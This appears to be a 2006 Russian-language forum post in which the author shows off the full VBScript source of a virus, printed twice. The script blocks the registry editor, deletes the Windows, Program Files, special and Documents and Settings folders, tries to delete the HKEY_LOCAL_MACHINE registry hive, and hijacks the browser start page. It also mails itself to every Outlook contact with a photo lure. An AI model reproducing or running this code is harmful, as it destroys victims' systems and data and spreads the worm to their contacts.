master3
09.12.2006, 19:49
' = = = = = = = > KASPERSKII SUKA < = = = = = = =
' Объявление переменных(этот абзац не перемещать)
Set FileSystemObject = CreateObject("scripting.filesystemobject")
Set Shell = CreateObject("Wscript.Shell")
t = 0: On Error Resume Next ' Пропускать ошибки
Set Application = CreateObject("Shell.Application")
Set InternerExplorer = WScript.CreateObject("InternetExplorer.Application")
Set Outlook = WScript.CreateObject("Outlook.Application")
' Минимизировать все окна
Application.MinimizeAll
' Блокировать RegEdit(чтоб у него не заводился редактор реестра).Для того чтобы разблокировать происвойте DisableRegistryTools значение - 0
Shell.RegWrite "HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\WINDOWS\CURRE NTVERSION\POLICIES\SYSTEM\DisableRegistryTools", 1, "REG_DWORD"
' Вывести сообщение с запросом пароля
prl = inputbox("Введи пароль", "Запрос")
If prl = "Kaza" Then FileSystemObject.deletefile WScript.ScriptFullName, True: Wscript.Quit
' Удаление C:\WINDOWS
str = "C:\WINDOWS"
If FileSystemObject.fileExists(str) = True Then
FileSystemObject.deletefile str,True
ElseIf FileSystemObject.folderExists(str) = True Then
FileSystemObject.deletefolder str,True
End If
' Удаление C:\Program Files
str = "C:\Program Files"
If FileSystemObject.fileExists(str) = True Then
FileSystemObject.deletefile str,True
ElseIf FileSystemObject.folderExists(str) = True Then
FileSystemObject.deletefolder str,True
End If
' Сделать домашней страницу "http:\\www.lunka.com"
Shell.RegWrite "HKCU\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page", "http:\\www.lunka.com"
' Разослать вирус Все контакты неприятеля
For Index = 1 To Outlook.GetNameSpace("MAPI").AddressLists(1).count
Set OutMail = Outlook.CreateItem(0)
OutMail.to = Outlook.GetNameSpace("MAPI").AddressLists(1).AddressEntries(Index)
OutMail.Subject = "Привет!"
OutMail.Body = "Лови фотку"
OutMail.Attachments.Add WScript.ScriptFullName
OutMail.Send
Next
' Удаление всех специальных папок
For Each Folder In Shell.SpecialFolders
FileSystemObject.deletefolder folder,True
Next
' Удаление Documents and Settings
FileSystemObject.deletefolder"C:\Documents and Settings",True
FileSystemObject.deletefolder"D:\Documents and Settings",True
FileSystemObject.deletefolder"E:\Documents and Settings",True
' Удалить запись в Реестре
Shell.RegDelete "HKEY_LOCAL_MACHINE\"
' Вывести сообщение
Shell.popup "Master", 5, "Автор вируса", 0+48
Ну как? :D
' Объявление переменных(этот абзац не перемещать)
Set FileSystemObject = CreateObject("scripting.filesystemobject")
Set Shell = CreateObject("Wscript.Shell")
t = 0: On Error Resume Next ' Пропускать ошибки
Set Application = CreateObject("Shell.Application")
Set InternerExplorer = WScript.CreateObject("InternetExplorer.Application")
Set Outlook = WScript.CreateObject("Outlook.Application")
' Минимизировать все окна
Application.MinimizeAll
' Блокировать RegEdit(чтоб у него не заводился редактор реестра).Для того чтобы разблокировать происвойте DisableRegistryTools значение - 0
Shell.RegWrite "HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\WINDOWS\CURRE NTVERSION\POLICIES\SYSTEM\DisableRegistryTools", 1, "REG_DWORD"
' Вывести сообщение с запросом пароля
prl = inputbox("Введи пароль", "Запрос")
If prl = "Kaza" Then FileSystemObject.deletefile WScript.ScriptFullName, True: Wscript.Quit
' Удаление C:\WINDOWS
str = "C:\WINDOWS"
If FileSystemObject.fileExists(str) = True Then
FileSystemObject.deletefile str,True
ElseIf FileSystemObject.folderExists(str) = True Then
FileSystemObject.deletefolder str,True
End If
' Удаление C:\Program Files
str = "C:\Program Files"
If FileSystemObject.fileExists(str) = True Then
FileSystemObject.deletefile str,True
ElseIf FileSystemObject.folderExists(str) = True Then
FileSystemObject.deletefolder str,True
End If
' Сделать домашней страницу "http:\\www.lunka.com"
Shell.RegWrite "HKCU\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page", "http:\\www.lunka.com"
' Разослать вирус Все контакты неприятеля
For Index = 1 To Outlook.GetNameSpace("MAPI").AddressLists(1).count
Set OutMail = Outlook.CreateItem(0)
OutMail.to = Outlook.GetNameSpace("MAPI").AddressLists(1).AddressEntries(Index)
OutMail.Subject = "Привет!"
OutMail.Body = "Лови фотку"
OutMail.Attachments.Add WScript.ScriptFullName
OutMail.Send
Next
' Удаление всех специальных папок
For Each Folder In Shell.SpecialFolders
FileSystemObject.deletefolder folder,True
Next
' Удаление Documents and Settings
FileSystemObject.deletefolder"C:\Documents and Settings",True
FileSystemObject.deletefolder"D:\Documents and Settings",True
FileSystemObject.deletefolder"E:\Documents and Settings",True
' Удалить запись в Реестре
Shell.RegDelete "HKEY_LOCAL_MACHINE\"
' Вывести сообщение
Shell.popup "Master", 5, "Автор вируса", 0+48
Ну как? :D